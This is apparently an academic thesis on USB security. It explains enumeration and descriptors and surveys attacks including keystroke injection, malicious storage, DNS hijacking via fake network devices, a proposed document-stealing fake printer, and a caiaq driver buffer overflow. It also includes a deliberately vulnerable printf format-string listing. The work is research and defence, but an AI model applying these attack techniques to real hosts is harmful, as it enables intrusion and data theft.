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USB is one of the most widely adopted standards for buses. Little work regarding its security

implications has been published. This work provides a brief summary of known issues as well as

a documentation of new problems and possible future threats. The discovered issues have been

classified and possible solutions have been discussed. During the research a secret channel for data

exfiltration, as well as command and control has been designed and implemented. The results

reveal the necessity of further research and development to address critical security issues.

http://www.tuhh.de
https://www.sva.tuhh.de


Contents

Declaration of Authorship i

Abstract iii

Contents iv

List of Figures vi

List of Tables vii

1 USB 1

1.1 System design . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

1.1.1 Topology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2

1.1.2 Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2

1.1.3 Descriptors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

1.2 Who Is Using the Bus? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

2 State of the Art 5

2.1 Deceptive behavior . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2.1.1 Human Interface Device . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2.1.2 Mass Storage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.1.3 Network Device . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2 Software exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

2.2.1 Buffer overruns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

2.2.2 Uncontrolled format strings . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

2.3 BadUsb . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2.4 Operating System Fingerprinting . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

2.5 Finding bugs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

2.5.1 Static analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

2.5.2 Fuzz testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

2.5.3 Testing setups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

2.5.3.1 QEMU . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

2.5.3.2 Hardware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

The Facedancer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

umap.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

iv



Contents v

3 Approach 13

3.1 Deceptive behavior . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

3.1.1 Human Interface Device . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

3.1.2 Printer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

3.1.3 Network Device . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

3.1.4 Sophisticated attacks with composite devices . . . . . . . . . . . . . . . . . 15

3.1.5 OS fingerprinting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

3.2 Software exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

3.2.1 Memory Errors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

4 Conclusion 19

A Secret DNS channel 22

A.1 IN - from the attackers server to the USB device . . . . . . . . . . . . . . . . . . . 22

A.1.1 Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

A.1.2 Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

A.2 OUT - from the USB device to the attackers server . . . . . . . . . . . . . . . . . . 25

A.2.1 Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

A.2.2 Protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

B Custom USB Device for QEMU 27

Bibliography 35



List of Figures

1.1 The Configuration Descriptor contains details of all the interfaces and endpoints of
an USB device . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

2.1 String Descriptor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

A.1 The general setup for transmission to the USB device . . . . . . . . . . . . . . . . 23

A.2 The steps for transmission to the USB device . . . . . . . . . . . . . . . . . . . . . 25

A.3 The steps for transmission to the attackers server . . . . . . . . . . . . . . . . . . . 26

vi



List of Tables

2.1 Characteristic behavior during HID enumeration . . . . . . . . . . . . . . . . . . . 9

3.1 Devices supported by the “caiaq” linux drivers . . . . . . . . . . . . . . . . . . . . 17

3.2 The communication a “Audio 2 DJ” device exchanges with a PC upon connection. 18

vii



For all of you.

viii



Chapter 1

USB

Since its release in the late 1990s the Universal Serial Bus has become one of the most widely

adopted standards for the connection of peripherals with personal computers. Nowadays a wide

variety of devices are connected via USB and almost every computer and all major operating

systems come with support for it. The specifications have undergone several major revisions, but

full backwards compatibility has been preserved. The changes mostly affected transmission speed

and electrical characteristics and are therefore irrelevant for a security-focused discussion of USB.

Most of the material discussed in this work will require nothing more recent than USB 1.1 (1998),

but the USB 3.1 specifications will still be used as reference. With the rising popularity of small,

portable USB storage devices, it has become a common act to pass a hardware device from one

person to another. In the past having the ability to connect arbitrary hardware to a system meant

having physical access to a computer system. Modifying hardware to attack a host and connecting

it to the target system was a costly and exhaustive attack. Today the fact that users will connect

hardware of unknown origin to their computers on a daily basis has to be considered, because

they share peripheral devices like storage media. But USB pen drives are not the only device

people regularly connect to their computers. Smartphones are also known to be potential carriers

of malware and can be used to attack host systems as well. This means several software security

assumptions made in the past have to be reconsidered.

1.1 System design

This section introduces the necessary technical background to understand the following discussion

of USB security. It describes the bus topology as well as the communication flow and the data

structures used.

1



Chapter 1. USB 2

1.1.1 Topology

The USB standard [1] specifies an asymmetric topology consisting of a single host, controlling

multiple peripheral devices. The host may have more than one host controller, each of which may

offer multiple USB ports, to which either an USB hub oder a device can be connected. In the USB

world, both a HUB and a device are known as a function. Multiple functions can be combined

into one physical device in two different ways; in a compound device or a composite device.

Compound device Includes an internal hub, to which several functions are connected. Each of

those functions has a unique address on the bus.

Composite device Has only one bus address, but provides multiple interfaces that offer different

functions.

A function communicates with the host via so called pipes, a one-directional communication struc-

ture. On the device side each pipe terminates in an endpoint. Since every pipe is connected to

exactly one endpoint and vice versa, the terms are often used interchangeably. Every function has

one special purpose bi-directional endpoint at address 0. This endpoint is used for communica-

tion with the host controller. Other endpoints are as previously stated always unidirectional and

can be operated with different transfer protocols. The USB 2.0 standard describes the BULK,

INTERRUPT and ISOCHRONEOUS transfer.

1.1.2 Enumeration

When a new device is connected a host begins the enumeration process to determine what kind of

device it is and establish connection characteristics, such as speed and packet size. An understand-

ing of the enumeration process is critical for USB stack assessment and is therefore explained here.

The steps are simplified to the aspects that are important from a software security perspective.

Device Attached Either the root hub or an external hub provides up to 100mA power for the

device and uses its endpoint 0 to report a newly found device to the host.

Detect Speed and Reset The hub detects whether the device supports at least full speed or

only low speed and informs the host of it.1 After that the host asks the hub to reset the

device. During reset the device may signal to the host that it even supports high speed.

Control Pipe Ready After the reset, the device awaits communication on its control endpoint

zero. Since it has not been assigned an address yet, it listens to the default address 00h.

1The four USB transfer speeds in ascending order are: low speed, full speed, high speed, super speed
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Inquire Maximum Packet Size On EP 0 The host sends a Get Descriptor request, to which

the device responds with a Device Descriptor containing the maximum packet size of the

control pipe zero. The size is contained in the first eights byte of the much longer descriptor,

so most USB stacks stall the transfer before the complete descriptor is received.

Address Assignment The host assigns an address to the device using a Set Address request.

Now that all communication parameters have been negotiated the hosts starts to inquire the

specifics of the device:

Read Device Descriptor The host requests the Device Descriptor again; this time it retrieves

the entire descriptor.

Read Other Descripors Afterwards the host requests a series of descriptors to learn about the

device’s configuration and abilities. Those are Configuration Descriptors, Interface Descrip-

tors, Endpoint Descriptors and String Descriptors.

Load Driver Based on the Vendor and Product ID the host has read from the Device Descriptor

it now selects an appropriate device driver and loads it.

Set Configuration Based on the already acquired Configuration Descriptors the driver picks a

desired configuration and lets the device know of its choice by sending a Set Configuration

request. From this point on the device is configured, its interfaces are enabled, and the

according endpoints await communication. 2

1.1.3 Descriptors

As previously described, the USB control transfer is heavily based on the exchange of data struc-

tures called descriptors. The structure and content of those Descriptors is defined in the USB

standard. Every USB device must respond to requests for these standard descriptors. All the

descriptors have the same format, consisting of mostly fixed length fields. The first two fields of ev-

ery descriptor are the “bLength” field containing the descriptor length and the “bDescriptorType”

field indicating which kind of descriptor it is. After that follows a series of fields specific to each

descriptor type. A notable example is the Configuration Descriptor (see Figure 1.1), because it in-

cludes the complete hierarchy of descriptors defining the interfaces and endpoints of the particular

configuration. It does so by nesting them in a structure organized only by length fields.

1.2 Who Is Using the Bus?

To assess USB with security considerations in mind it is important to determine who is actually

communicating over the bus. With the rise of microcontrollers, peripherals became embedded

2This description is loosely based on the one found in [2]
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wTotalLength

Figure 1.1: The Configuration Descriptor contains details of all the interfaces and endpoints of
an USB device

devices with considerable computing power and general purpose CPUs. This means we are dealing

with considerably complex machines on both ends of the bus. On the host side multiple parts

of the operating system and possibly user applications interact with the device. This does not

differ too much from what happens on the device side, since the USB communication is handled

by the firmware which in certain cases can be just as complex. A growing amount of devices even

runs some variant of a major operating system like Linux or Windows. The enumeration phase as

discussed in the previous section is handled by the system’s USB stack, but as soon as it has been

completed at least a device driver steps in. For most devices though, the device driver is not the

only additional piece of software it exchanges data with. For example USB storage devices require

an SCSI and a file-system driver to function properly. Lastly most devices interact with userspace

applications as well. Although at that point the data has already undergone some transformations

it may still be possible to exploit vulnerabilities on that level. An example could be a webcam

delivering corrupted image data, that neither the USB stack nor the device driver interpret, but a

userland application for taking pictures has to and may therefore be vulnerable.



Chapter 2

State of the Art

This chapter will elaborate on what threats USB devices can pose today and what kind of bugs

have been found. It will explore what kind of bugs tend to occur in USB-related code and what

consequences they have. The first part of this section concentrates on devices deceiving the user

by posing as a specific device and then acting erratically or behaving like another device entirely.

Since every major operating system enumerates devices and loads the required drivers without

asking the user for permission, it is trivial to act as any possible device. A well known example

is a device identifying itself as Keyboard and “type” commands to compromise the host. Such a

device could easily look like an USB flash drive, a camera or even a smartphone.

The second part deals with how a device might take advantage of programming errors in the

aforementioned software running on the host. This includes well known classes of vulnerabilities

like memory errors, format string bugs or race conditions.

2.1 Deceptive behavior

The following sections explore the different possibilities a device has, depending on what it identifies

as.

2.1.1 Human Interface Device

One of the most frequently used USB device classes is the “USB human interface device class”,

which defines keyboards, mice, game controllers and alike. A HID is a very simple, yet powerful

tool for an attacker. This kind of attack is well known and commercial tools for exploitation are

available [3]. It requires a device implementing the HID class - usually it identifies as a keyboard

- and after successful enumeration send keystrokes to the host system. Commercial devices come

5
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with many different predefined keystroke sequences leading to full compromise of the host system.

Some offer a simple scripting language to make the development of new payloads easier. This

attack requires a user to be logged in and is of course limited by the user’s privileges. However all

major operating systems allow the installation of persistent malware by unprivileged users. Since

the most likely target of such an attack is a workstation and not a server, user privileges will often

be enough to gain access to significant assets.

2.1.2 Mass Storage

With decreasing prices for flash chips USB mass storage devices have become a very popular way

of exchanging data and creating small backups. Users have certain expectations of the behavior

of storage devices. One of the most basic assumptions of storage is, that a file placed on it will

stay the same unless someone accesses the storage and modifies it. A storage is considered to work

exactly like real world storage room. When something is placed inside and the door is locked it

will not be moved or altered in any way until someone opens the door again and does so. However

this assumption does not hold true for modern storage devices. Traditional Hard disk, Solid State

Disks, SD cards and USB storage devices all incorporate micro-controllers running sophisticated

firmware. It is therefore feasible to create USB pen drives that purposely manipulate files stored on

them. Altering executable files can be a way to execute malware on the host system. In other cases

it may be interesting for an attacker to create hidden copies of sensitive files. The user may then

delete the original files and assume it is save to give the device to people not intended to access

the sensitive files. Another more defensive use case of custom designed mass storage devices was

introduced by Travis Goodspeed in 2012 [4]: a device may detect that its contents are being cloned

for forensic analysis and accordingly delete them. The detection relies on the unusual sequential

read of all memory sectors regardless of the file system’s structure.

2.1.3 Network Device

USB network devices implement some form of Ethernet-over-USB using either the CDC protocol

family or RNDIS. CDC is a standard by the “USB Implementers Forum”, specifying three protocols

of varying complexity. RNDIS is a protocol developed by Microsoft and supported by all Windows

versions since Windows XP. At the BlackHat 2014 conference, Karsten Nohl introduced a script he

calls “BadAndroid” that uses DHCP to assign the new interface an IP address, a default gateway

and advertise a DNS server [5]. Windows, Linux and OSX hosts will use the advertised DNS

server as new primary DNS server and set a new default route via the USB network interface

and gateway. Therefore all network traffic originating on the host is available to the USB device

and DNS responses can easily be spoofed. The proof-of-concept is supposed to be executed on a

smartphone running Android. Such a device would typically have a mobile Internet connection
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and would therefore be able to forward the traffic. Alternatively only a new DNS server and no

gateway server could be assigned. That way the host system will still use its original connection

to the Internet and the assigned DNS server may be used to resolve domains to false IP addresses.

2.2 Software exploitation

Programming errors have been found in almost every part of the USB ecosystem. Unfortunately

most software dealing with USB communication runs in kernel mode. A bug allowing for arbitrary

code execution has therefore much greater impact. In host systems with monolithic kernel and

kernel mode drivers this holds true for the USB stack as well as the device drivers. Although

Linux and Windows device drivers can be designed to run in user space and thereby mitigate some

of the threats of programming errors, very few drivers make use of that possibility. Since very

few USB-related exploits have been made public this section will discuss different bug classes to

highlight their causes and implications and only refer to notable examples when possible.

2.2.1 Buffer overruns

Buffer overruns are a very well known class of bugs that occur “when the value assigned to a

variable exceeds the size of the buffer allocated” [6]. USB drivers are often dealing with strings

supplied by the hardware, transfered as USB String Descriptors.

0 7 8 15

bLength bDescriptorType

bString

hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh



bLength

Figure 2.1: String Descriptor

The format of such a Descriptor is shown in Figure 2.1. A number of bugs resulted from code

that failed to check whether a buffer was actually big enough to hold the received string. One

important constraint for the exploitation of buffer overflows caused by USB String Descriptors is

the maximum string length of 253 bytes. This is due to the length fields maximum value of 255

and two bytes already being reserved for the descriptor type and the length field itself. A common

problem when writing shellcode to exploit buffer overflows is that sequences of machine code often
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contain NULL bytes, while the implementation of strings in the C programming language uses

0x00 as a termination character. Therefore writing shellcode for USB string exploits becomes

easier because the strings are not NULL-terminated, but are preceded by an explicit length field,

so the shellcode can contain NULL bytes without being truncated. A characteristic example of

such an attack will be discussed in Section 3.2.1.

2.2.2 Uncontrolled format strings

Format string attacks have first been described in 2000, when a bug in the popular wu-ftp server was

found [7]. The problem arises when hostile input becomes part of a format string. The consequences

are arbitrary memory writes and therefore code execution. As mentioned in the previous section

USB drivers do often process strings sent by the hardware. Processing strings means formatting,

concatenating or printing for example for logging purposes. A simplified example of a vulnerable

code section is shown in Listing 1.

1 #define STRLEN 80

2

3 struct usb device *dev = device;

4 unsigned short langid = 0;

5 unsigned char index = 0;

6 char buf[STRLEN];

7 int size = STRLEN;

8

9 int success = usb_string(dev, langid, index, buf, size);

10

11 if(success) {

12 /* Print the received string */

13 printf(buf);

14 }

Listing 1: Example of a string received from a device and used as format string, making format
string attacks possible

The string received from the hardware with the usb string call is then used as format string in

the call to the printf function. A custom device could therefore send a crafted string with the

consequence of gaining arbitrary write access to process’ memory. A notable example of a format

string vulnerability is CVE-2012-2118 [8] that was discovered in the X Window system. Part of

the code dealing with input device recognition took the device and manufacturer name supplied

by the USB device and passed them to the logging system as part of a format string.
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2.3 BadUsb

In August 2014 Karsten Nohl and Jakob Lell presented a new kind of attack on computers. They

had found a vulnerability in a very common controller chip for USB mass storage devices that made

it possible to reprogram the chip. To demonstrate the seriousness of the issue, they developed a

malware that was able to infect a thumbdrive while it was connected to a host computer. The

thumbdrive would then infect every computer it was connected to.

2.4 Operating System Fingerprinting

Most of the described attacks rely on some knowledge about the host’s operating system. For the

HID process it is critical to choose the correct sequence of keys. Memory errors occur probably only

in a specific operating system. Even the OS version, system language, or CPU architecture may

be relevant to craft working shellcode. Since the USB protocol implements a strict master-slave

architecture the device can not query the host for information. But due to the USB protocol’s

complexity and tolerance of slight variations, most systems behave sufficiently different to be

identified. In his presentation “Writing a Thumbdrive from Scratch” [4] at the 29C3 conference

Travis Goodspeed already described Windows specific behavior during the initialization of USB

storage devices. Unlike other operating systems Windows reads the Master Boot Record nine times,

once for each value of interest. In 2013 the NCC Group published their paper “Revealing Embedded

Fingerprints: Deriving Intelligence from USB Stack Interactions” [9] in which they describe various

fingerprinting techniques. Some examples of fingerprints identified during the enumeration of the

HID class are shown in Table 2.1.

Operating System Fingerprint

Apple OS X Lion Three “Get Configuration descriptor” requests (others have two)
Windows 8 “Set Feature” request right after “Set Configuration”
FreeBSD “Get Status” request right before “Set Configuration”

Table 2.1: Characteristic behavior during HID enumeration

The NCC group was able to reliably identify the OS and its version. This information is sufficient for

HID attacks but as stated, exploitation of memory errors requires greater accuracy. In some cases

further details of the host system can be acquired after device enumeration while communicating

with user space applications. An example of an application leaking such information is the “Photos”

Metro app on Windows 8. In a “DeviceProperty” command the app sends, the following string is

included: ‘‘/Windows/6.2.9200 MTPClassDriver/6.2.9200.16384’’

This string contains Microsoft’s internal version number for Windows 8 and the exact build revision.
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2.5 Finding bugs

Although bugs in USB related code have occasionally been reported since 2009 the amount of

publicly announced vulnerabilities has risen to a significant number only in the last three years

[10]. This may be because of the availability of better tools and frameworks to test and search for

said bugs. There are numerous inherently different approaches to search for bugs in USB stacks

and drivers. Some of them will be discussed in this section.

2.5.1 Static analysis

Static analysis is a software testing technique that analyses code without executing it. It evaluates

it on an abstract level and looks for common mistakes and violation of recommended programming

practice. It does not perform any kind of formal verification or proof of correctness.

There has been a lot of prior research regarding static analysis of device drivers and kernel code

and the results should be applicable to the USB ecosystem, because in the past static analysis has

proven to be effective in finding several different kind of bugs in the Linux kernel and its device

drivers. Microsoft even provides the “Code Analysis tool” as part of their “Windows Driver Kit”

for developers to use. Since the Linux kernel as well as windows drivers are regularly undergoing

static analysis and still suffer from numerous bugs, static analysis is not sufficient as the only

testing mechanism.

2.5.2 Fuzz testing

Another popular approach for software testing is input based fuzz testing. It is a testing approach

where completely or partially random and invalid input is supplied. The program is then monitored

for abnormal behavior or crashes to find problematic input. It is particularly useful to search for

security vulnerabilities because the inputs necessary to trigger the discovered bug have already

been generated during testing. It is by no means a technology to discover all bugs prevalent in a

code base but has proven to be very helpful in finding the “low hanging fruit”, most likely to be

found by a potential attacker.

2.5.3 Testing setups

This section will explore different setups for input based testing. Security assessment of host

systems running operating systems like Linux, Windows or MacOS has different requirements than

embedded systems or closed platforms like game consoles. Having this in mind, virtualization as

well as hardware based setups will be discussed.
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2.5.3.1 QEMU

QEMU is an open source machine emulator and virtualizer with support for virtual USB devices

and USB host-to-guest passthrough. The latter feature has raised some interest for use in fuzzing

of a virtualized guest’s USB ecosystem. Unfortunately the virtual devices in QEMU are not

implemented as loadable modules but are part of the main binary. Therefore every change to a

virtual device requires recompilation of QEMU and a reboot of the guest system.

Some proposals have been made to change or circumvent this inconvenient behavior. Most notable

is the approach proposed by Jodeit and Johns in their 2010 paper “USB Device Drivers: A Stepping

Stone into Your Kernel” [11]. They suggest a setup where QEMU’s USB passthrough abilities,

rather than its emulation feature, are used to implement a mutation based fuzzing framework.

They suggest attaching a real device to the host machine and intercepting the USB traffic before

relaying it to the guest OS via QEMU’s passthrough feature. While their first version required

patching QEMU for the intercepting, they proposed to develop a future version which uses the

USB filesystem on a linux host to avoid any changes to QEMU. This works because QEMU uses

the USB device filesystem to communicate with USB devices attached to the host. 1

2.5.3.2 Hardware

The virtualization based approach is limited to host operating systems that can be run as virtual

machines. For auditing closed systems like embedded devices and alike, a hardware based approach

comes to mind. Until recently that required programming a microcontroller with one PC and

connecting it to the target host; only to start over for every change that needed to be made.

Debugging code running on microcontrollers is possible, but not as easy as code running on a PC

running a fully featured operating system.

The Facedancer In 2012 Travis Goodspeed and Sergej Bratus presented the Facedancer, a

device which allows rapid prototyping of USB devices. It does so by merely relaying the USB

communication between itself and the USB host to a second PC via an USB-to-serial connection

[12].

The Facedancer’s key components are a serial to USB chip, a MSP430 microcontroller and an USB

controller. In a typical test setup, the USB to serial side would be connected to a computer running

Linux with the Facedancer Python software and the USB controller would be attached to the target

system. The device’s behavior would then be defined by a Python program running on computer

A. The Facedancer comes with a Python library offering a convenient API for handling typical

USB communications. It includes data types for USB descriptors of any kind and the possibility

1The USB device filesystem is a dynamically generated filesystem the linux kernel uses to expose raw USB devices
to userland applications like userland device drivers.
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to register callback functions for common events. This allows for very easy development of a fake

device, but still leaves a lot of work to be done since depending on which part of a hosts USB

ecosystem is to be fuzzed the original devices behavior has to be imitated accurately.

umap.py Umap is a fuzzing framework for the Facedancer developed by Andy Davis of NCC

Group and published under an open source license. It comes with a collection of test cases that

allow for basic fuzzing of the USB enumeration process, as well as class specific communication.

The test cases are “[..] based on a combination of data from standards documentation and the

author’s experience where USB bugs are commonly found.” [13] The majority of test cases simply

sets integer fields in USB descriptors to unlikely values like MAXINT, MININT or NULL. Some

are a little bit more sophisticated and and set false lengths for string descriptors to find overflow

issues or try to trigger format string bugs. This narrows the scope of discoverable bugs. Device

functions not defined in one of the USB standard classes require additional custom test cases to

be developed.



Chapter 3

Approach

This chapter describes the observations that were made during the research for this work and

introduce new attack scenarios.

3.1 Deceptive behavior

The following section will describe further thoughts on existing, as well as new attacks with ma-

liciously behaving devices. Furthermore two new approaches for in-depth fingerprinting of host

machines will be proposed.

3.1.1 Human Interface Device

The biggest hurdle for an attacker trying to compromise a system with a malicious HID device,

is the high probability of being noticed by the user. It would increase the chance of clandestine

compromise, if the device had a way to determine whether a user is actively using the computer at

the moment. However a HID device receives very little feedback from the host. The only definite

sign of user activity available, is a state change of keyboard LEDs. The state of NUM, CAPS

and SCROLL lock are common for all Keyboards so every attached keyboard will be notified of

changes. If a device gets notified of such a change it can safely assume a user is typing and delay

its attack.

A simple Proof-of-Concept of this attack has been implemented and successfully tested. However,

testing showed that keyboard state is not a very reliable indicator of user activity. A user may very

well use the computer for a long time, without ever activating NUM, CAPS, or SCROLL lock. A

more elaborate implementation may use a composite device and additional afunctions with other

13
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characteristics could be used to track user activity. Some possible setups will be discussed in

Section 3.1.4.

3.1.2 Printer

A device class that has so far seen no public attention in terms of USB security is the Printer class.

Investigation of the classes abilities and operating system behavior, suggests it can lead to data

leakage. In an attempt to get hold of sensitive documents a promising approach for an attacker

could be posing as a printer and hoping for the user to print documents via this fake printer. This

requires preparatory work, because although there is a standard USB class for printers almost

all printers implement some custom functionality the driver expects to find. In a targeted attack

involving social engineering it is not unlikely the attacker knows what type of printer the target is

using. The attacker could then implement the printer’s basic functionalities and respond with the

according descriptors during device enumeration. The received documents would then be saved on

the device. Since the document will not reach the actual printer the user will probably become

suspicious. To avoid detection after receiving a document the device could disconnect itself and

reconnect as a harmless device, wait for a specified amount of time and the reconnect again as

printer. This should give the user enough time to print again on the actual printer.

3.1.3 Network Device

After a virtual network device has been attached, the attack surface is expanded to any network

listening service on the host. Possible targets on workstations are network shares, remote desktop

services, and alike.

The BadAndroid attack mentioned in Section 2.1.3 requires a device equipped with a network

up-link to guarantee connectivity for the target system. However special hardware meeting this

requirement is not available, leaving smartphones the only devices suitable for such an attack.

Deceiving a user into connecting a smartphone to the target host may not always be an option, so

achieving similar results with a smaller, cheaper device may be desirable.

The recently released USBArmory [14] meets the requirements and will for the scope of this section

be the assumed attack platform. Further research during this thesis shows that if no default gateway

but a DNS server is assigned, the host will still use its prior connection to the internet but use the

USB network interface for domain lookups1. But to assure seemingly normal operation the device

has to answer DNS request properly. This can be partially achieved by storing a database of the

IP domain pairs on the device. An efficient way to create such a database has been developed. For

that purpose a copy of the Alexa top one million domains was acquired. Alexa is a web analytics

1Has been verified for curretn versions of Windows 7, OSX, and Ubuntu
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company maintaining a list of the most popular domains in order of visitors per day. This list

is compiled by tracking the surfing behavior of people using the company’s browser toolbar. The

domains on that list were then resolved using a tool written specifically for that purpose and a

database mapping domain names to IPs was created. This database was then used as data source

for dnsmasq a simple DNS and DHCP server for linux. Since the aforementioned hardware is able

to run Linux it is possible to prepare a device that performs the described attack and deceives the

user in to thinking it is nothing more than a simple storage device.

3.1.4 Sophisticated attacks with composite devices

The attacks described can be combined in a single composite device posing a much greater threat

than just the sum of its parts. The HID attack for example could use a fake DNS server for further

detection of user activity. DNS request for domains that would occur during a typical browser

session are a very strong hint that a user is actively using the system. The same goes for the user

printing a document. The described setup can even provide a data channel to every computer

within network reach of the target system. This can be useful for remote control of the device and

extraction of acquired data. Data worth sending out, might be stored on the device by the user

if it provides mass storage functionality or collected with the printer attack described in Section

3.1.2.

3.1.5 OS fingerprinting

The fingerprinting approaches described in Section 2.4 concentrates on the charecteristics of USB

stack and drivers. However using USB network devices gives an attacker much more possibilities.

Using the DHCP and DNS server setup (see Section 2.1.3) a device can resolve domains to its own

IP address. Subsequently the user’s browser may send an HTTP request to this IP. The request will

include the User-Agent HTTP-Header in which the operating system and the CPU architecture

can be found. A less intrusive approach is fingerprinting the network stack and listening services.

This is a well known technique and implemented by programs like the network scanner nmap [15].

3.2 Software exploitation

The next section documents the efforts to reproduce and understand software bugs and their

exploitation.
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3.2.1 Memory Errors

The memory errors which potentially lead to code execution on the host are very much alike the

ones that occur in network services and are representatives of well known classes of bugs. To get

a better understanding of what mistakes can be made, how they can be exploited and what the

implication of exploitation might be it may be helpful to analyze a specific bug. A multitude

of memory errors in USB related code have been discovered but so far only one working exploit

is publicly available. It exploits a vulnerability in the Sony Playstation 3’s USB stack. Since

technical details of the Playstation 3’s software are not publicly available the only reliable source

on the programming errors that were made is the exploit code itself. Unfortunately the exploit

code uses a rather complex sequence of valid and malformed Descriptors to prepare the systems

heap and place shellcode in its memory. This makes it a unnecessarily complex example. In

2011 Rafael Dominguez Vega of MRW Infosecurity discovered a buffer overflow vulnerability in

the caiaq USB drivers. The drivers for audio equipment by NativeInstruments are in the Linux

kernel tree and installed by default in most Linux distributions. During this thesis this bus has

been reproduced and analyzed to get a better understanding of memory errors in USB drivers

and to test various techniques for fuzzing and exploitation of vulnerabilities. As stated by MRW,

the drivers fails to verify the length of the product name string sent by the device before copying

it into a fixed length buffer. Looking at the communication between the driver and a unaltered

device might reveal when the product name is sent and what parts of the device functionality

have to be implemented to reach the vulnerable line of code. Analysis of the communication (see

Table 3.2) showed that after the enumeration phase only very little device specific communication

occurs before the product name is sent. This minimizes the necessary effort to trigger the bug.

Writing a device firmware that responds to standard Descriptor requests with the same Descriptors

the original device would, is sufficient to emulate the device behavior up to the BULK transfers

on Endpoint 1. A simple state, machine ensured the firmware would respond accordingly to the

transmission of the “01” byte string. Deeper understanding of the transmitted data was not

necessary because it remained unchanged even after several restarts of the device. Looking at

the drivers source code however revealed, the byte string contains some status information and

characteristics of the device. Since the driver supports several hardware models and device types,

it requests the product and manufacturer name again. Those strings are then copied to a char array

inside a struct residing on the stack. As can be seen in Table 3.1 none of the devices supported by

the caiaq drivers has a name longer than 80 characters.

Under the false assumptions that the driver will always communicate with a legitimate device, the

developers decided to use the C function strcpy(char *dest, const char *src) to copy the

string the device sent into the char array. The strcpy() function does not check whether the

destination buffer is big enough to hold the string to be copied. When a device sends a product

name longer than 80 characters the adjacent parts of the structure will be overwritten. Typically
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PID Name

0x041c Audio 2 DJ
0x041d Traktor Audio 2
0x0808 Maschine Controller
0x0815 Audio Kontrol 1
0x0839 Audio 4 DJ
0x0d8d GuitarRig mobile
0x1915 Session I/O
0x1940 RigKontrol3
0x1969 RigKontrol2
0x1978 Audio 8 DJ
0x2305 Traktor Kontrol X1
0x4711 Kore Controller
0x4712 Kore Controller 2
0xbaff Traktor Kontrol S4

Table 3.1: Devices supported by the “caiaq” linux drivers

an attacker exploiting this kind of vulnerability would try to overwrite the return address of the

function in which the buffer overflow occurs. This puts the attacker in control of the program

flow. In this case however the string length can be 126 bytes (see Section 2.2.1) at maximum

and the rest of the structure is longer than that. Therefore simple stack overflow exploitation via

overwriting the function’s return address is impossible. However the next field in the struct is an

array of structs that will be read and written to. It could be shown, that the content as well as

the destination of a memory write occurring at a later time can be controlled. By overwriting a

functions return address arbitrary code execution could be achieved. However leaving the rest of

the memory in a sufficiently consistent state has shown to be a task beyond the scope of this work.
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No. Source Dest. Len Type bString Data

1 host 6 64 GET DESCRIPTOR DEVICE
2 6 host 82 GET DESCRIPTOR DEVICE
3 host 6 64 GET DESCRIPTOR CONFIGURATION
4 6 host 73 GET DESCRIPTOR CONFIGURATION
5 host 6 64 GET DESCRIPTOR CONFIGURATION
6 6 host 133 GET DESCRIPTOR CONFIGURATION
7 host 6 64 GET DESCRIPTOR STRING
8 6 host 68 GET DESCRIPTOR STRING
9 host 6 64 GET DESCRIPTOR STRING
10 6 host 86 GET DESCRIPTOR STRING Audio 2 DJ
11 host 6 64 GET DESCRIPTOR STRING
12 6 host 102 GET DESCRIPTOR STRING Native Instruments
13 host 6 64 GET DESCRIPTOR STRING
14 6 host 98 GET DESCRIPTOR STRING SN-q8ydb3a1
15 host 6 64 SET CONFIGURATION
16 6 host 64 SET CONFIGURATION
17 host 6 64 GET DESCRIPTOR STRING
18 6 host 84 GET DESCRIPTOR STRING Highspeed
19 host 6 64 SET INTERFACE
20 6 host 64 SET INTERFACE
21 host 6 64 GET DESCRIPTOR STRING
22 6 host 84 GET DESCRIPTOR STRING Fullspeed
23 host 6.1 64 URB BULK in
24 host 6.1 65 URB BULK out 01
25 6.1 host 64 URB BULK out
26 6.1 host 79 URB BULK in 0102000200000000...
27 host 6.1 64 URB BULK in
28 host 6 64 GET DESCRIPTOR STRING
29 6 host 102 GET DESCRIPTOR STRING Native Instruments
30 host 6 64 GET DESCRIPTOR STRING
31 6 host 86 GET DESCRIPTOR STRING Audio 2 DJ

